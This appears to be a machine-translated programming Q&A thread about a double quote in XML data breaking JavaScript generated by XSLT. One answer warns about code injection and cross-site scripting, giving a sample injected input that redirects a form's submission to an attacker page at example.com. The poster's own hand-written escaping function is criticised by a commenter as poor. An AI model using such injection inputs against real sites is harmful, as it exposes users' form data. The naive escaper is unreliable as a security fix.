2010-02-17 24 views
0

我不確定我能否解釋這一點,因爲這可能很難解釋,但我會嘗試。XML用雙引號存儲文本數據,檢索數據時JavaScript崩潰

我有一個Web表單,它將數據發佈到一個XML文件,然後顯示另一個網頁中的數據。

一切工作正常,但當用戶輸入一個雙引號字符,當網頁嘗試顯示數據時,由於雙引號符號崩潰,這是有道理的,因爲它可能被視爲未完成字符串由JavaScript。

還有一些值得一提的問題,那就是問題只出現在表單的一部分,其中包含一個表格,其中填充了一個基於XML元素集合創建的數組,然後使用innerHTML將數組中的文本插入表格單元格。

例如。

XML

<node1> 
    <node2> test "1</node2> 
</node1> 

<script type="text/javascript"> 
    alert("<xsl:value-of select="node1/node2">"); 
<script> 

這是行不通的,也許,如果我得到任何解決方法,這一點,我可以修復的休息。

對不起,如果我沒有足夠好地解釋自己,我不知道如何更好地揭示這個問題。如果您需要,我會很樂意回答任何問題。

請注意,如果你們任何人有任何答案,它必須是JavaScript,沒有jQuery。

謝謝。

+0

您是否將CDATA用於有關的XML節點?你嘗試URLEncoding領域? – 2010-02-17 11:55:11

+0

我沒有使用CDATA,我不知道URLEncoding是什麼。感謝您的評論 – Amra 2010-02-17 12:00:56

+0

轉換髮生在哪裏?在服務器上還是在客戶端上?你使用什麼XSL處理器? (PS:URL編碼在這裏不會幫助你,但也許你應該開始閱讀,你似乎有很多趕上。) – Tomalak 2010-02-17 12:23:55

回答

2

總是逃避用戶輸入。您的錯誤是可能發生的問題的良好例子,但這意味着您可能也容易受到code injection attack的影響,例如cross-site scripting

逃離

這裏的what Wikipedia has to say about escaping。這是一個過度簡化的例子。假設你有以下的JavaScript和我沒有做出任何愚蠢的錯誤(因爲我只是做它):

function unsafeAlert() { 
    alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value); 
} 

會發生什麼,如果用戶鍵入類似'); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"?突然,您的警報會將表單(可能包含敏感數據)提交給攻擊者的頁面。這顯然是一個問題。在嘗試提醒它之前,您應該在某處存在一些可以轉義該值的庫代碼。這將會像在引號前面加斜槓等一樣。另外,你可能不應該自己編寫這樣的代碼,因爲轉義邏輯總是比你想象的要困難至少10倍。你絕對應該從圖書館某處獲得這樣的邏輯。

+0

@Hank蓋伊,謝謝你的回答,但我不得不接受雙引號打字。 – Amra 2010-02-17 12:12:57

+1

+1不正確的代碼和數據分離是所有代碼生成的永恆難題。如果人們在使用它(代碼)之前不會一直持續*忘記驗證並逃避用戶輸入(數據),那麼互聯網不會包含單個受XSS感染的網站。 – Tomalak 2010-02-17 12:18:03

+2

@Cesar:漢克並沒有說你不應該接受雙引號。他說你應該逃避它們(以及與其他字符一起在JavaScript字符串中具有特殊含義的反斜槓)。 – Tomalak 2010-02-17 12:20:49

0

對傢伙,

我一直在玩,並找到了解決辦法。

使用以下功能。

XML 
<node1> 
<node2>test "1</node2> 
</node1> 

<script type="text/javascript"> 
function convertString(value){ 
for(var z=0; z <= value.length -1; z++) 
    { 
    //if current character is a backslash 
    if(value.substring(z, z + 1)=="\\" && (value.substring(z, z + 4)!="\\r\\n" && value.substring(z, z + 2)!="\\n")) 
     { 
     value = value.substring(0, z) + "\\\\" + value.substring(z + 1, value.length); 
    z++; 
} 
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 4)=="\\r\\n") 
     { 
     z = z+4; 
     }  
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 2)=="\\n") 
     { 
     z = z+2; 
     } 
    } 
//replace " with \" 
//loop through each character 
    for(var x = 0; x <= value.length -1; x++){ 
     //if current character is a quote 
    if(value.substring(x, x + 1)=="\""){ 
    //concatenate: value up to the quote + \" + value AFTER the quote 
    value = value.substring(0, x) + "\\\"" + value.substring(x + 1, value.length); 
    //account for extra character 
    x++; 
    } 
    } 
    //return the modified string 
return(value); 
} 
<script> 


alert("<xsl:value-of select="convertString(string(node1/node2))"/>"); 

感謝大家在這個問題上的回答。

+1

這段代碼真的不好,你不應該使用它。閱讀關於JavaScript的更多信息,有更簡單的方法來替換字符串中的字符,而不是像您一樣逐字地循環它們。看一下'String'對象可以爲你做什麼。 – Tomalak 2010-02-17 13:03:39

+0

@Tomalak:再次感謝您的進步,我現在正在閱讀它,因爲我沒有編寫這個函數,但它是用於網絡的一般函數,對於我來說也很難理解,我將檢查是否我可以改進它。+ 1 – Amra 2010-02-17 14:38:39

+1

不應該太難。據我所知,這可以被摺疊成一行很短的JavaScript代碼。永遠不要複製和粘貼代碼(特別是如果你不知道它究竟是什麼)。自己寫(或花時間*完全理解*國外代碼)。時間更長,但你會學到一些東西。 – Tomalak 2010-02-17 14:59:10